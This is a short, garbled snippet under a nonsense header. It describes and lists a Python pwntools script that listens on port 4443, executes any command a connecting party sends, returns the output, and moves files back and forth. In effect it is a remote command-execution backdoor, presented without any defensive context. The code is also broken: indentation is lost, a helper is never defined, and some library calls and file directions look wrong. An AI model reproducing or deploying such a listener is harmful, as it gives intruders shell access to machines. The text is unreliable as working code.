0
0
GDGiuepe Dudepe
The code starts by listening on port 4443. Once a connection is made, the code enters a while loop, waiting for a command to be sent. Once a command is received, the code consults the command string to determine what to do. If the command is "exit", the program exits. Otherwise, the code runs the command and sends the results back to the user.
Library: pwntools
from pwn import *
r = listen(4443)
r.wait_for_connection()
while True:
command = r.recvline().strip()
if command == "exit":
break
elif command == "upload":
file = "file.txt"
r.sendfile(file)
print("File sent")
elif command == "download":
file = "received_file.txt"
r.recvfile(file)
print("File received")
else:
result = run_command(command)
r.sendline(result)
r.close()